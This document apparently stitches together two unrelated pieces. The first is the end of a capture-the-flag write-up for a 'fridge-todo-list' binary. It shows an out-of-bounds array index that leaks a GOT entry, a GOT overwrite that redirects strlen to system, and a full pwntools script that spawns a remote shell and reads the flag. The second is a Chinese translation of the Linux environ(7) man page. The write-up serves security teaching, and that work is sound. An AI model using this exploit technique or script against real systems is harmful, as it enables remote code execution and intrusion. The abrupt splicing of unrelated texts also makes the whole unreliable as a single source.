XREFS: DATA 0x00000cf3 DATA 0x00000d62 DATA 0x00000d80 DATA 0x00000e59 DATA 0x00000f67 DATA 0x00001000 ; XREFS: DATA 0x00001074 DATA 0x000010ef 0x00203140 0000 add byte [rax], al 0x00203142 0000 add byte [rax], al [0x00203140]> s obj.todos - (1*48) [0x00203110]> pd 2 0x00203110 0000 add byte [rax], al 0x00203112 0000 add byte [rax], al [0x00203110]> s obj.todos - (2*48) [0x002030e0]> pd 2 ;-- username: ; DATA XREF from sym.open_todos (0xe15) ; DATA XREFS from sym.authenticate (0xef9, 0xf05) ; DATA XREF from sym.main (0x117b) 0x002030e0 0000 add byte [rax], al 0x002030e2 0000 add byte [rax], al [0x002030e0]> s obj.todos - (3*48) [0x002030b0]> pd 2 0x002030b0 0000 add byte [rax], al 0x002030b2 0000 add byte [rax], al [0x002030b0]> s obj.todos - (4*48) [0x00203080]> pd 2 ;-- reloc.open: ; CODE XREF from sym.imp.open (0x9d0) 0x00203080 .qword 0x00000000000009d6 ;-- reloc.atoi: ; CODE XREF from sym.imp.atoi (0x9e0) 0x00203088 .qword 0x00000000000009e6 ; RELOC 64 atoi [0x00203080]> s obj.todos - (5*48) [0x00203050]> pd 2 ;-- reloc.strncat: ; CODE XREF from sym.imp.strncat (0x970) 0x00203050 .qword 0x0000000000000976 ; RELOC 64 strncat ;-- reloc.close: ; CODE XREF from sym.imp.close (0x980) 0x00203058 .qword 0x0000000000000986 ; RELOC 64 close [0x00203050]> s obj.todos - (6*48) [0x00203020]> pd 2 ;-- reloc.write: ; CODE XREF from sym.imp.write (0x910) 0x00203020 .qword 0x0000000000000916 ;-- reloc.strlen: ; CODE XREF from sym.imp.strlen (0x920) 0x00203028 .qword 0x0000000000000926 ; RELOC 64 strlen [0x00203020]> ``` We jump back 48 bytes at a time, and check the area we land at. Starting at offset (-4*48), we start landing at useful locations - the .got.plt section! Here we can overwrite function pointers and when the program wants to call the function we've overwritten, it will in fact call whichever function we set. I chose to override `strlen` with `system`, which means I need to override `&todos[-6*48] + 8` with `system`'s address. However, our pointer arithmetic only allows us to get a pointer to `&todos[-6*48]`, so also the `write` pointer will need to be overridden with some values. We can use `/bin/sh;` as the value to override `reloc.write` (a.k.a. `write`'s .got.plt) with - this will corrupt the pointer, but if we can spawn a shell before the program calls `write`, we don't have to worry about that. Luckily, this is the case: Our payload (`buf`) will be `/bin/sh;<system_address>`, and immediately after reading it, we will execute the following code: ```c if (!fgets(buf, buf_sz, stdin)) { // <-- "strlen" address gets overridden with "system" err(1, "fgets()"); } size_t read_cnt = strlen(buf); // <-- We call strlen(buf) a.k.a. system("/bin/sh;<system_address>") and get a shell if (read_cnt && buf[read_cnt-1] == '\n') { buf[read_cnt-1] = 0; } ``` As explained in the comment, calling `strlen(buf)` will give us a shell. How do we calculate the correct address to write? We will first need to leak whatever is in `&todos[-6*48]`: `write`'s .got.plt, then perform some calculations on the leaked address in order to get to `system`'s address. When the program wants to call `write()`, it actually calls `write@plt` (addresses might vary between systems and runs): ```assembly gdb-peda$ disas write_all Dump of assembler code for function write_all: ... 0x0000555555554c43 <+37>: call 0x555555554910 <write@plt> ... ``` Here is the implementation: ```assembly gdb-peda$ disas 0x555555554910 Dump of assembler code for function write@plt: 0x0000555555554910 <+0>: jmp QWORD PTR [rip+0x20270a] # 0x555555757020 0x0000555555554916 <+6>: push 0x1 0x000055555555491b <+11>: jmp 0x5555555548f0 End of assembler dump. ``` It will jump to the location stored at `0x555555757020`. When the program starts (before `write` was ever called, i.e. before resolution) this contains: ``` gdb-peda$ x /4xg 0x555555757020 0x555555757020: 0x0000555555554916 0x0000555555554926 0x555555757030: 0x0000555555554936 0x0000555555554946 ``` As you can see, `0x0000555555554916` is a pointer back to the same area of `write@plt`: ``` Dump of assembler code for function write@plt: 0x0000555555554910 <+0>: jmp QWORD PTR [rip+0x20270a] # 0x555555757020 0x0000555555554916 <+6>: push 0x1 0x000055555555491b <+11>: jmp 0x5555555548f0 End of assembler dump. ``` The `push & jmp` logic will resolve the correct address, and store it in `0x555555757020` so that next time `write` is called, it jumps directly to the correct location (lazy binding). We'd like the program to jump to `system`'s .plt resolution stub, instead of `write`'s one: ```assembly gdb-peda$ info address system@plt Symbol "system@plt" is at 0x555555554940 in a file compiled without debugging. gdb-peda$ disas 0x555555554940 Dump of assembler code for function system@plt: 0x0000555555554940 <+0>: jmp QWORD PTR [rip+0x2026f2] # 0x555555757038 0x0000555555554946 <+6>: push 0x4 0x000055555555494b <+11>: jmp 0x5555555548f0 End of assembler dump. ``` This means we want `0x555555757020` to hold `0x0000555555554946`, so that when `write@plt` is called it will jump to `system`'s resolution logic and eventually call `system`. What we saw now are .plt runtime addresses (which are determined at runtime), let's take a look at the addresses that the ELF contains: ```python >>> from pwn import * >>> e = ELF("todo") [*] '/media/sf_CTFs/google/todo/todo' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled >>> hex(e.plt["write"]) '0x910' >>> hex(e.plt["system"]) '0x940' >>> hex(e.got["write"]) '0x203020' ``` So if we consider the runtime address as a base + offset, the base is determined at runtime and the offset comes from the ELF. Therefore, given the runtime value of `write`'s GOT entry (pointing before resolution into the resolution `write@plt`), we can now calculate the location of the resolution logic in `system@plt`: ``` 0x0000555555554916 - 0x910 + 0x940 = 0x0000555555554946 'write' runtime GOT - e.plt["write"] + e.plt["system"] ``` Putting it all together: ```python from pwn import * LOCAL_PATH = "./todo" def login(r, user): r.sendlineafter("user: ", user) def read_menu(r): r.recvuntil("> ") def read_todo(r, index): read_menu(r) r.sendline("2") r.sendlineafter("Which entry would you like to read?", str(index)) r.recvuntil("Your TODO: ") return r.recvline(keepends = False) def store_todo(r, index, todo): read_menu(r) r.sendline("3") r.sendlineafter("In which slot would you like to store the new entry?", str(index)) r.sendlineafter("What's your TODO?", todo) log.info("Storing TODO: \n{}".format(hexdump(todo))) def spawn_shell(): e = ELF(LOCAL_PATH) r = remote("fridge-todo-list.ctfcompetition.com", 1337) login(r, "username") write_address = u64(read_todo(r, -6).ljust(8, '\x00')) log.info("Address of write() @ .got.plt: {}".format(hex(write_address))) # Entry is unresolved at the time of the leak log.info("Address of write() plt: {}".format(hex(e.plt["write"]))) log.info("Address of system() plt: {}".format(hex(e.plt["system"]))) base = write_address - e.plt["write"] log.info("Base address: {}".format(hex(base))) log.info("Calculates address of system() resolution logic @ plt: {}".format(hex(base + e.plt["system"]))) payload = "/bin/sh;" + p64(base + e.plt["system"]) store_todo(r, -6, payload) return r if __name__ == "__main__": r = spawn_shell() r.interactive() ``` Output: ``` root@kali:/media/sf_CTFs/google/todo# python exploit.py [*] '/media/sf_CTFs/google/todo/todo' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to fridge-todo-list.ctfcompetition.com on port 1337: Done [*] Address of write() @ .got.plt: 0x55f5c8c03916 [*] Address of write() plt: 0x910 [*] Address of system() plt: 0x940 [*] Base address: 0x55f5c8c03006 [*] Calculates address of system() resolution logic @ plt: 0x55f5c8c03946 [*] Storing TODO: 00000000 2f 62 69 6e 2f 73 68 3b 46 39 c0 c8 f5 55 00 00 │/bin│/sh;│F9··│·U··│ 00000010 [*] Switching to interactive mode $ ls holey_beep todo todos $ cd todos $ ls CountZero username $ cat CountZero Watch Hackers (again)\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Figure out why the fridge keeps beeping\x00\x00check \x00check /home/user/holey_beep\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00debug the fridge - toilet connectivity\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00follow sec advice: CTF{goo.gl/cjHknW}\x00\x00/4513753\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 ... ``` The flag: CTF{goo.gl/cjHknW}
sec-knowleage
.\" Copyright (c) 1993 Michael Haardt (michael@moria.de), .\" Fri Apr 2 11:32:09 MET DST 1993 .\" and Andries Brouwer (aeb@cwi.nl), Fri Feb 14 21:47:50 1997. .\" .\" This is free documentation; you can redistribute it and/or .\" modify it under the terms of the GNU General Public License as .\" published by the Free Software Foundation; either version 2 of .\" the License, or (at your option) any later version. .\" .\" The GNU General Public License's references to "object code" .\" and "executables" are to be interpreted as the output of any .\" document formatting or typesetting system, including .\" intermediate and printed output. .\" .\" This manual is distributed in the hope that it will be useful, .\" but WITHOUT ANY WARRANTY; without even the implied warranty of .\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the .\" GNU General Public License for more details. .\" .\" You should have received a copy of the GNU General Public .\" License along with this manual; if not, write to the Free .\" Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111, .\" USA. .\" Chinese Version Copyright mhss, www.linuxforum.net, 2000 .\" .\" Modified Sun Jul 25 10:45:30 1993 by Rik Faith (faith@cs.unc.edu) .\" Modified Sun Jul 21 21:25:26 1996 by Andries Brouwer (aeb@cwi.nl) .\" Modified Mon Oct 21 17:47:19 1996 by Eric S. Raymond (esr@thyrsus.com) .\" Modified Wed Aug 27 20:28:58 1997 by Nicol醩 Lichtmaier .\" Modified Mon Sep 21 00:00:26 1998 by Andries Brouwer (aeb@cwi.nl) .TH ENVIRON 7 1998-09-21 "Linux Programmer's Manual" .SH NAME environ \- 用户环境(变量) .SH SYNOPSIS 总览 .ad l .nf extern char **environ; .br .fi .ad b .SH DESCRIPTION 描述 变量 environ 指向的是一个叫 'environment'(环境)的字符串数组 (这个变量必须在用户程序中声明,但是在使用 libc4 或 libc5 以 及使用 glibc 并且定义了 _GNU_SOURCE 的情况下 ,它是在头文件 unistd.h 中声明的)。对于一个进程,这个字符串的数组是通过开 始进程的 exec(3) 调用来得到,习惯上,这些字符串的格式是'name=value' (名称=值)。常用的例子是: .TP .B USER 登录用户的名字(被一些从 BSD 派生来程序所使用)。 .TP .B LOGNAME 登录用户的名字(被一些从 System-V 派生来程序所使用)。 .TP .B HOME 用户的登录目录,被login(1)按口令文件 passwd(5) 设置。 .TP .B LANG 当不被 LC_ALL 或更特殊的环境变量所忽略的时候,是用 于地域分类的地域名。 .TP .B PATH 预先设定的目录前缀的序列,sh(1) 和许多程序可借此查找路径 名不完全的文件。前缀由':'分隔。(类似的,有一些 shell 用 CDPATH 查找位于不同目录的命令,以及用 MANPATH 找 手册页等等。) .TP .B PWD 当前的工作路径。被一些 shell 设置。 .TP .B SHELL 用户的登录 shell 的文件名。 .TP .B TERM 用于准备输出的终端类型。 .TP .B PAGER 用户指定的显示文本文件的工具。 .TP .B EDITOR/VISUAL 用户指定的编辑文本文件的工具。 .PP 更多的名字可以通过和在 sh(1) 中的 export 命令和 'name=value',或 csh(1) 中 的 setenv 命令设置。参数也可以在 执行 exec(2) 的时候被放置在环境中。一个 C 程序可以使用函数 .BR getenv(3) 、 .BR putenv(3) 、 .BR setenv(3) 和 .BR unsetenv(3) 来操纵自身的环境。 注意许多程序和库例程的行为受特定的环境变量的存在和值的影响。 随便的搜集一下就有: .LP 环境变量 LANG、LANGUAGE、NLSPATH、LOCPATH、LC_ALL、 LC_MESSAGES 等影响地域的处理。 .LP TMPDIR 影响 tmpnam(3) 生成名字的路径名前缀和其他一些例程, sort(1) 和其他程序用的临时文件目录等等。 .LP LD_LIBRARY_PATH、LD_PRELOAD 和其他 LD_* 变量影响动态 (装载器/连接器)的行为。 .LP POSIXLY_CORRECT 使特定的程序和库例程遵循 POSIX 规定。 .LP MALLOC_* 变量影响 malloc(3) 的行为。 .LP HOSTALIASES 变量给出包含 gethostbyname(3) 用的别名的文件的 文件名。 .LP TZ 和 TZDIR 给出时区信息。 .LP TERMCAP 给出给定终端的窗口大小(或给出包含这种信息的文件的 文件名)。 .LP 等等,还有很多。 这里有一个明显的安全风险。不止一个系统命令曾经被一个使用了一 个不寻常的 .BR IFS " 或 " LD_LIBRARY_PATH 变量值的用户诱入骗局中。 .SH SEE ALSO 又见 .BR login(1), .BR sh(1), .BR bash(1), .BR csh(1), .BR tcsh(1), .BR execve(2), .BR exec(3), .BR getenv(3), .BR putenv(3), .BR setenv(3), .BR unsetenv(3). .SH "[中文版维护人]" .B mhss <jijingzhisheng@up369.com> .SH "[中文版最新更新]" .B 2000/11/26 .SH "《中国linux论坛man手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage